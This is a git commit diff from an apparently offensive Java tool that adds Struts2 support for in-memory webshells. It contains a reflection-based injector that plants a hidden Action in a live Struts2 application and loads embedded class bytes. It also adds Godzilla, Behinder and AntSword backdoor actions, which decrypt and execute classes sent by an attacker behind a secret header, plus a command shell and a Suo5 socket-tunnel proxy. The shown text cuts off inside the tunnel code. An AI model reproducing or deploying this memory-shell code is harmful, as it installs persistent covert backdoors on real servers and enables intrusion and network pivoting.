feat: support struct2 memshell and probeshell

2026-09-22 15:10:43 +08:00 · 2025-12-08 23:23:20 +08:00
parent 6628a74daa
commit a554ccb319
32 changed files with 2270 additions and 6 deletions
@@ -20,4 +20,5 @@ public class Server {
    public static final String SpringWebMvc = "SpringWebMvc";
    public static final String SpringWebFlux = "SpringWebFlux";
    public static final String XXLJOB = "XXLJOB";
+    public static final String Struct2 = "Struct2";
 }
@@ -44,6 +44,7 @@ public class ServerFactory {
        register(Server.SpringWebMvc, SpringWebMvc::new);
        register(Server.SpringWebFlux, SpringWebFlux::new);
        register(Server.XXLJOB, XxlJob::new);
+        register(Server.Struct2, Struct2::new);

        addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
                .addShellClass(SERVLET, GodzillaServlet.class)
@@ -76,6 +77,7 @@ public class ServerFactory {
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
+                .addShellClass(ACTION, GodzillaStruct2Action.class)
                .build());

        addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -100,6 +102,7 @@ public class ServerFactory {
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
+                .addShellClass(ACTION, BehinderStruct2Action.class)
                .build());

        addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -117,6 +120,7 @@ public class ServerFactory {
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
+                .addShellClass(ACTION, AntSwordStruct2Action.class)
                .build());

        addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -151,6 +155,7 @@ public class ServerFactory {
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
+                .addShellClass(ACTION, CommandStruct2Action.class)
                .build());

        addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -176,6 +181,7 @@ public class ServerFactory {
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
+                .addShellClass(ACTION, Suo5Struct2Action.class)
                .build());

        addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -200,6 +206,7 @@ public class ServerFactory {
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
+                .addShellClass(ACTION, NeoreGeorgStruct2Action.class)
                .build());
    }

@@ -46,4 +46,6 @@ public class ShellType {
    public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
    public static final String WEBSOCKET = "WebSocket";
    public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
+
+    public static final String ACTION = "Action";
 }
@@ -0,0 +1,230 @@
+package com.reajason.javaweb.memshell.injector.struct2;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Map;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/8
+ */
+public class Struct2ActionInjector {
+
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public Struct2ActionInjector() {
+        if (ok) {
+            return;
+        }
+        Object context = null;
+        try {
+            context = getContext();
+        } catch (Throwable e) {
+            msg += "context error: " + getErrorMessage(e);
+        }
+        if (context == null) {
+            msg += "context not found";
+        } else {
+            try {
+                Object shell = getShell(context);
+                inject(context, shell);
+            } catch (Throwable e) {
+                msg += "failed " + getErrorMessage(e) + "\n";
+            }
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    public Object getContext() throws Exception {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            ClassLoader contextClassLoader = thread.getContextClassLoader();
+            if (contextClassLoader != null) {
+                try {
+                    Class<?> clazz = contextClassLoader.loadClass("com.opensymphony.xwork2.ActionContext");
+                    Object context = clazz.getMethod("getContext").invoke(null);
+                    if (context != null) {
+                        return context;
+                    }
+                } catch (ClassNotFoundException e) {
+                    continue;
+                }
+            }
+        }
+        return null;
+    }
+
+    private void inject(Object context, Object shell) throws Exception {
+        Object actionInvocation = invokeMethod(context, "getActionInvocation");
+        Object actionProxy = getFieldValue(actionInvocation, "proxy");
+        Object configuration = getFieldValue(actionProxy, "configuration");
+        Object runtimeConfiguration = getFieldValue(configuration, "runtimeConfiguration");
+        Map<String, Map<String, Object>> namespaceActionConfigs = (Map<String, Map<String, Object>>) getFieldValue(runtimeConfiguration, "namespaceActionConfigs");
+        for (Map.Entry<String, Map<String, Object>> entry : namespaceActionConfigs.entrySet()) {
+            String namespace = entry.getKey();
+            Map<String, Object> configs = entry.getValue();
+            if (!configs.isEmpty()) {
+                Object firstActionConfig = configs.entrySet().iterator().next().getValue();
+                String actionName = getUrlPattern().substring(1);
+                if (configs.containsKey(actionName)) {
+                    continue;
+                }
+                String packageName = (String) getFieldValue(firstActionConfig, "packageName");
+                Class<?> actionConfigClass = context.getClass().getClassLoader().loadClass("com.opensymphony.xwork2.config.entities.ActionConfig");
+                Constructor<?> actionConfigConstructor = actionConfigClass.getDeclaredConstructor(String.class, String.class, String.class);
+                actionConfigConstructor.setAccessible(true);
+                Object actionConfig = actionConfigConstructor.newInstance(namespace, packageName, getClassName());
+                configs.put(actionName, actionConfig);
+                msg += "namespace: [" + (namespace.isEmpty() ? "default" : namespace) + "] [" + getUrlPattern() + "] ready\n";
+            }
+        }
+    }
+
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = context.getClass().getClassLoader();
+        Object interceptor = null;
+        try {
+            interceptor = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            interceptor = clazz.newInstance();
+        }
+        return interceptor;
+    }
+
+    @Override
+    public String toString() {
+        return msg;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName) throws
+            Exception {
+        return invokeMethod(obj, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+        } finally {
+            if (gzipInputStream != null) {
+                try {
+                    gzipInputStream.close();
+                } catch (IOException ignored) {
+                }
+            }
+            out.close();
+        }
+        return out.toByteArray();
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}
@@ -0,0 +1,18 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/8
+ */
+public class Struct2 extends AbstractServer {
+
+    @Override
+    public InjectorMapping getShellInjectorMapping() {
+        return InjectorMapping.builder()
+                .addInjector(ShellType.ACTION, Struct2ActionInjector.class)
+                .build();
+    }
+}
@@ -0,0 +1,53 @@
+package com.reajason.javaweb.memshell.shelltool.antsword;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+/**
+ * @author ReaJason
+ * @since 2025/02/18
+ */
+public class AntSwordStruct2Action {
+
+    public static String pass;
+    public static String headerName;
+    public static String headerValue;
+
+    public void execute() throws Exception {
+        try {
+            Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
+            Object context = clazz.getMethod("getContext").invoke(null);
+            Method getMethod = clazz.getMethod("get", String.class);
+            HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
+            HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
+            if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+                byte[] bytes = base64Decode(request.getParameter(pass));
+                Object instance = reflectionDefineClass(bytes).newInstance();
+                instance.equals(new Object[]{request, response});
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
+    }
+
+    public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
+        URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+        Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+        defMethod.setAccessible(true);
+        return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
+    }
+}
@@ -0,0 +1,89 @@
+package com.reajason.javaweb.memshell.shelltool.behinder;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ */
+public class BehinderStruct2Action {
+    public static String pass;
+    public static String headerName;
+    public static String headerValue;
+
+    public void execute() throws Exception {
+        try {
+            Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
+            Object context = clazz.getMethod("getContext").invoke(null);
+            Method getMethod = clazz.getMethod("get", String.class);
+            HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
+            HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
+            if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+                HttpSession session = request.getSession();
+                Map<String, Object> obj = new HashMap<String, Object>(3);
+                obj.put("request", request);
+                obj.put("response", unwrap(response));
+                obj.put("session", session);
+                session.setAttribute("u", this.pass);
+                Cipher c = Cipher.getInstance("AES");
+                c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
+                byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
+                Object instance = reflectionDefineClass(bytes).newInstance();
+                instance.equals(obj);
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public Object unwrap(Object obj) {
+        try {
+            return getFieldValue(obj, "response");
+        } catch (Throwable e) {
+            return obj;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
+    }
+
+    public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
+        URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+        Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+        defMethod.setAccessible(true);
+        return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
+    }
+}
@@ -0,0 +1,45 @@
+package com.reajason.javaweb.memshell.shelltool.command;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.InputStream;
+import java.lang.reflect.Method;
+import java.util.Scanner;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/8
+ */
+public class CommandStruct2Action {
+    private static String paramName;
+
+    public String execute() throws Exception {
+        try {
+            Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
+            Object context = clazz.getMethod("getContext").invoke(null);
+            Method getMethod = clazz.getMethod("get", String.class);
+            HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
+            HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
+            String p = request.getParameter(paramName);
+            if (p == null || p.isEmpty()) {
+                p = request.getHeader(paramName);
+            }
+            if (p != null) {
+                String param = getParam(p);
+                InputStream inputStream = getInputStream(param);
+                response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+            }
+        } catch (Throwable ignored) {
+        }
+        return null;
+    }
+
+    private String getParam(String param) {
+        return param;
+    }
+
+    private InputStream getInputStream(String param) throws Exception {
+        return null;
+    }
+}
@@ -0,0 +1,110 @@
+package com.reajason.javaweb.memshell.shelltool.godzilla;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+import java.io.PrintWriter;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/15
+ */
+public class GodzillaStruct2Action {
+    private static String key;
+    private static String pass;
+    private static String md5;
+    private static String headerName;
+    private static String headerValue;
+    private static Class<?> payload;
+
+    public void execute() throws Exception {
+        try {
+            Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
+            Object context = clazz.getMethod("getContext").invoke(null);
+            Method getMethod = clazz.getMethod("get", String.class);
+            HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
+            HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
+            if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+                PrintWriter writer = response.getWriter();
+                try {
+                    byte[] data = base64Decode(request.getParameter(pass));
+                    data = this.x(data, false);
+                    if (payload == null) {
+                        payload = reflectionDefineClass(data);
+                    } else {
+                        ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                        Object f = payload.newInstance();
+                        f.equals(arrOut);
+                        f.equals(request);
+                        f.equals(data);
+                        f.toString();
+                        writer.write(md5.substring(0, 16));
+                        writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
+                        writer.write(md5.substring(16));
+                    }
+                } catch (Throwable e) {
+                    e.printStackTrace();
+                    writer.write(getErrorMessage(e));
+                }
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    public byte[] x(byte[] s, boolean m) throws Exception {
+        Cipher c = Cipher.getInstance("AES");
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+        return c.doFinal(s);
+    }
+
+    public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
+        URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+        Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+        defMethod.setAccessible(true);
+        return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
+    }
+
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        try {
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}
@@ -0,0 +1,560 @@
+package com.reajason.javaweb.memshell.shelltool.suo5;
+
+import javax.net.ssl.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.*;
+import java.lang.reflect.Method;
+import java.net.*;
+import java.nio.ByteBuffer;
+import java.security.cert.CertificateException;
+import java.security.cert.X509Certificate;
+import java.util.Enumeration;
+import java.util.HashMap;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/15
+ */
+public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustManager {
+    public static String headerName;
+    public static String headerValue;
+    public static HashMap addrs = collectAddr();
+    public static HashMap ctx = new HashMap();
+
+    InputStream gInStream;
+    OutputStream gOutStream;
+
+    public Suo5Struct2Action() {
+    }
+
+    public Suo5Struct2Action(InputStream in, OutputStream out) {
+        this.gInStream = in;
+        this.gOutStream = out;
+    }
+
+    public void execute() throws Exception {
+        try {
+            Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
+            Object context = clazz.getMethod("getContext").invoke(null);
+            Method getMethod = clazz.getMethod("get", String.class);
+            HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
+            HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
+            String contentType = request.getContentType();
+            if (request.getHeader(headerName) != null
+                    && request.getHeader(headerName).contains(headerValue)
+                    && contentType != null) {
+                if (contentType.equals("application/plain")) {
+                    tryFullDuplex(request, response);
+                    return;
+                }
+                if (contentType.equals("application/octet-stream")) {
+                    processDataBio(request, response);
+                } else {
+                    processDataUnary(request, response);
+                }
+            }
+        } catch (Throwable ignored) {
+        }
+    }
+
+    public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
+        int bufferOffset = 0;
+        while (bufferOffset < b.length) {
+            int readLength = b.length - bufferOffset;
+            int readResult = is.read(b, bufferOffset, readLength);
+            if (readResult == -1) break;
+            bufferOffset += readResult;
+        }
+    }
+
+    public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
+        InputStream in = request.getInputStream();
+        byte[] data = new byte[32];
+        readFull(in, data);
+        OutputStream out = response.getOutputStream();
+        out.write(data);
+        out.flush();
+    }
+
+
+    private HashMap newCreate(byte s) {
+        HashMap m = new HashMap();
+        m.put("ac", new byte[]{0x04});
+        m.put("s", new byte[]{s});
+        return m;
+    }
+
+    private HashMap newData(byte[] data) {
+        HashMap m = new HashMap();
+        m.put("ac", new byte[]{0x01});
+        m.put("dt", data);
+        return m;
+    }
+
+    private HashMap newDel() {
+        HashMap m = new HashMap();
+        m.put("ac", new byte[]{0x02});
+        return m;
+    }
+
+    private HashMap newStatus(byte b) {
+        HashMap m = new HashMap();
+        m.put("s", new byte[]{b});
+        return m;
+    }
+
+    byte[] u32toBytes(int i) {
+        byte[] result = new byte[4];
+        result[0] = (byte) (i >> 24);
+        result[1] = (byte) (i >> 16);
+        result[2] = (byte) (i >> 8);
+        result[3] = (byte) (i /*>> 0*/);
+        return result;
+    }
+
+    int bytesToU32(byte[] bytes) {
+        return ((bytes[0] & 0xFF) << 24) |
+                ((bytes[1] & 0xFF) << 16) |
+                ((bytes[2] & 0xFF) << 8) |
+                ((bytes[3] & 0xFF) << 0);
+    }
+
+    synchronized void put(String k, Object v) {
+        ctx.put(k, v);
+    }
+
+    synchronized Object get(String k) {
+        return ctx.get(k);
+    }
+
+    synchronized Object remove(String k) {
+        return ctx.remove(k);
+    }
+
+    byte[] copyOfRange(byte[] original, int from, int to) {
+        int newLength = to - from;
+        if (newLength < 0) {
+            throw new IllegalArgumentException(from + " > " + to);
+        }
+        byte[] copy = new byte[newLength];
+        int copyLength = Math.min(original.length - from, newLength);
+        // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
+        // System.arraycopy(original, from, copy, 0,  copyLength);
+        for (int i = 0; i < copyLength; i++) {
+            copy[i] = original[from + i];
+        }
+        return copy;
+    }
+
+
+    private byte[] marshal(HashMap m) throws IOException {
+        ByteArrayOutputStream buf = new ByteArrayOutputStream();
+        Object[] keys = m.keySet().toArray();
+        for (int i = 0; i < keys.length; i++) {
+            String key = (String) keys[i];
+            byte[] value = (byte[]) m.get(key);
+            buf.write((byte) key.length());
+            buf.write(key.getBytes());
+            buf.write(u32toBytes(value.length));
+            buf.write(value);
+        }
+
+        byte[] data = buf.toByteArray();
+        ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
+        dbuf.putInt(data.length);
+        // xor key
+        byte key = (byte) ((Math.random() * 255) + 1);
+        dbuf.put(key);
+        for (int i = 0; i < data.length; i++) {
+            data[i] = (byte) (data[i] ^ key);
+        }
+        dbuf.put(data);
+        return dbuf.array();
+    }
+
+    private HashMap unmarshal(InputStream in) throws Exception {
+        byte[] header = new byte[4 + 1]; // size and datatype
+        readFull(in, header);
+        // read full
+        ByteBuffer bb = ByteBuffer.wrap(header);
+        int len = bb.getInt();
+        int x = bb.get();
+        if (len > 1024 * 1024 * 32) {
+            throw new IOException("invalid len");
+        }
+        byte[] bs = new byte[len];
+        readFull(in, bs);
+        for (int i = 0; i < bs.length; i++) {
+            bs[i] = (byte) (bs[i] ^ x);
+        }
+        HashMap m = new HashMap();
+        byte[] buf;
+        for (int i = 0; i < bs.length - 1; ) {
+            short kLen = bs[i];
+            i += 1;
+            if (i + kLen >= bs.length) {
+                throw new Exception("key len error");
+            }
+            if (kLen < 0) {
+                throw new Exception("key len error");
+            }
+            buf = copyOfRange(bs, i, i + kLen);
+            String key = new String(buf);
+            i += kLen;
+
+            if (i + 4 >= bs.length) {
+                throw new Exception("value len error");
+            }
+            buf = copyOfRange(bs, i, i + 4);
+            int vLen = bytesToU32(buf);
+            i += 4;
+            if (vLen < 0) {
+                throw new Exception("value error");
+            }
+
+            if (i + vLen > bs.length) {
+                throw new Exception("value error");
+            }
+            byte[] value = copyOfRange(bs, i, i + vLen);
+            i += vLen;
+
+            m.put(key, value);
+        }
+        return m;
+    }
+
+    private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
+        final InputStream reqInputStream = request.getInputStream();
+        HashMap dataMap = unmarshal(reqInputStream);
+
+        byte[] action = (byte[]) dataMap.get("ac");
+        if (action.length != 1 || action[0] != 0x00) {
+            resp.setStatus(403);
+            return;
+        }
+        resp.setBufferSize(512);
+        final OutputStream respOutStream = resp.getOutputStream();
+
+        // 0x00 create socket
+        resp.setHeader("X-Accel-Buffering", "no");
+        Socket sc;
+        try {
+            String host = new String((byte[]) dataMap.get("h"));
+            int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
+            if (port == 0) {
+                try {
+                    // Cannot convert Integer to int
+                    port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
+                } catch (Exception e) {
+                    port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
+                }
+            }
+            sc = new Socket();
+            sc.connect(new InetSocketAddress(host, port), 5000);
+        } catch (Exception e) {
+            respOutStream.write(marshal(newStatus((byte) 0x01)));
+            respOutStream.flush();
+            respOutStream.close();
+            return;
+        }
+
+        respOutStream.write(marshal(newStatus((byte) 0x00)));
+        respOutStream.flush();
+        resp.flushBuffer();
+
+        final OutputStream scOutStream = sc.getOutputStream();
+        final InputStream scInStream = sc.getInputStream();
+
+        Thread t = null;
+        try {
+            Suo5Struct2Action p = new Suo5Struct2Action(scInStream, respOutStream);
+            t = new Thread(p);
+            t.start();
+            readReq(reqInputStream, scOutStream);
+        } catch (Exception e) {
+//                System.out.printf("pipe error, %s\n", e);
+        } finally {
+            sc.close();
+            respOutStream.close();
+            if (t != null) {
+                t.join();
+            }
+        }
+    }
+
+    private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
+        byte[] readBuf = new byte[1024 * 8];
+        while (true) {
+            int n = inputStream.read(readBuf);
+            if (n <= 0) {
+                break;
+            }
+            byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
+            if (needMarshal) {
+                dataTmp = marshal(newData(dataTmp));
+            }
+            outputStream.write(dataTmp);
+            outputStream.flush();
+        }
+    }
+
+    private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
+        while (true) {
+            HashMap dataMap;
+            dataMap = unmarshal(bufInputStream);
+
+            byte[] actions = (byte[]) dataMap.get("ac");
+            if (actions.length != 1) {
+                return;
+            }
+            byte action = actions[0];
+            if (action == 0x02) {
+                socketOutStream.close();
+                return;
+            } else if (action == 0x01) {
